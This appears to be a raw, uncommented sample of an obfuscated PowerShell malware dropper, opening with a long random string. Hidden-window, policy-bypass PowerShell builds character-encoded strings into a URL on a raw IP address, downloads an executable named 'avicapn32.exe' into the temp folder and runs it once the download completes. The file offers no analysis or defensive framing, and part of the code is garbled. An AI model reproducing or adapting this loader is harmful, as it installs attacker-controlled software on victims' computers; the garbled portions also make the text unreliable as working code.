DiDA9ddw2gMbw7LN2nw9qv6ms7vXo92WtHIDHG65mMEhcA1bYWLCkUFC1TEjSBuT4mxgk7Ddkc386ZGWzF3DV71hgXQxnRLCyDMdSmUArewBrYumxM2CvPmUJdPWZsipTreIQRsPh0xNfECXhIc2gHoNPtK1GZN67YMyMvzsA5TrEVeAuRWSIR2bLSL0vAwhofvW0AHifoc8KxNQhgjK0RjuXJC1DaA5Y8tBygZYo5PC8pNymJ49rJoYeeYi8jN5UqwCWLnG0x7C5gBrWcfUTaCgeHaoZpCGpiyBttBbnDa2nXRd1mmA7YdQwdLuRXP3on9QkEktHDC7ZO4zSO81B233A4RplfkAGsHHEAHNWlHcviM9dw7sfL7luS8BtcuhHKyA9L15o6lH36Fpa8xAdbXXwjtmfOSLKx0xLtbn078sCASWKZhKKAbg7bbrkYNLnmViLzTzwx2W3eut5ZtjFG4scbVgs3re0arPk4SS1stbhDHzSHrVKGVngdJnMkqCEqvJVCwPCvuOrnLhvBuBj9yoAaIRrc6btAL3MksMWt1DFgwqrW6IPYbbcqzXEg5s1GwaQDOf0poajGFkRe5utUc2YaRkxzfjaCIjJAICApkBt9wVOqCDuGXjXXOV9pAz5rD2g3mvR0IQtYwxOdXRtcIOIHvMLQKbayHZBLBKPpNBRESbQuhZV3xFJElAcmjVFXKM0eeugxqoWUmIJjmf5ruS62HlBuOvsCzbMS15iSsydUaILPqFfjK8e9OWOnIQnnCZuoIg9lPLPiTZEA7nnfKLQlQ0pve1pIRzMYgIvdE29xyIROZwqdayeCD05fyt1TDjlC7vOj941EQCftafuLtk0GVF5sy22CXDbW1v7U5B5vEHDnZ9UNw21nGAdib6dTtOvQL5lXk80b7s1SqkD90QO0hUL2JNZstAeDpa4itNrW14e2y139t4NXsecfkn5xXQ9L33cN4xy7gtapeMc0EUmtRZQTeaHfYmuStmINc6Ew6toUlV0eVdvdIIL8s0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-ex BYPAsS -noNI
-W HiddEn
$EFGiZIWe = [NET.WebrEQuest]::CreaTe( ([chAR] 104 + [chAR] 116 + [cHAr] 116 + [ChAr] 112 + [chAR] 58 + [cHar] 47 + [cHaR] 47 + [CHAr] 53 + [CHAr] 46 + [chAr] 55 + [CHAr] 53 + [ChaR] 46 + [CHAr] 50 + [cHAR] 52 + [cHaR] 56 + [CHaR] 46 + [CHar] 50 + [chaR] 48 + [chAr] 55 + [Char] 47 + [CHar] 97 + [cHaR] 118 + [CHAR] 105 + [CHaR] 99 + [CHar] 97 + [cHAr] 112 + [char] 110 + [ChaR] 51 + [cHAr] 50 + [char] 46 + [chAr] 101 + [ChAr] 120 + [Char] 101 )
).GEtResPOnSE(
).COntenTleNgth
( New-OBJeCt ( [char] 78 + [chAr] 101 + [CHAr] 116 + [cHAR] 46 + [cHAr] 87 + [ChAR] 69 + [ChAR] 66 + [char] 67 + [cHAr] 108 + [chaR] 73 + [ChAr] 101 + [chaR] 110 + [chAR] 116
)).( [chaR]
[chAR]
[ChAR]
[Char]
[cHaR]
[ChaR]
[CHAR]
[Char]
[CHAr]
[cHAR]
[CHar]
[ChAR]
[cHaR]
[cHar]
[ChaR]
[ChAR]
[cHAR]
).inVOKE(
([chAR] 104 + [cHAr] 116 + [ChAr] 116 + [chAR] 112 + [cHar] 58 + [cHaR] 47 + [CHAr] 47 + [CHAr] 53 + [chAr] 46 + [CHAr] 55 + [ChaR] 53 + [CHAr] 46 + [cHAR] 50 + [cHaR] 52 + [CHaR] 56 + [CHar] 46 + [chaR] 50 + [chAr] 48 + [Char] 55 + [CHar] 47 + [cHaR] 97 + [CHAR] 118 + [CHaR] 105 + [CHar] 99 + [cHAr] 97 + [char] 112 + [ChaR] 110 + [cHAr] 51 + [char] 50 + [chAr] 46 + [ChAr] 101 + [Char] 120 + [CHar] 101 )
'%tEmP%\avicapn32.exe' ) ;
If (
TesT-PATh
'%TEmP%\avicapn32.exe'
{ dO {
$BGyLZQxsIspBheUMTlPoHVXx = ([Io.FIlEINfo] '%TeMp%\avicapn32.exe' ).lEnGth
UnTIL (
$BGyLZQxsIspBheUMTlPoHVXx -EQ
$EFGiZIWe )}
; "&" '%tEmP%\avicapn32.exe'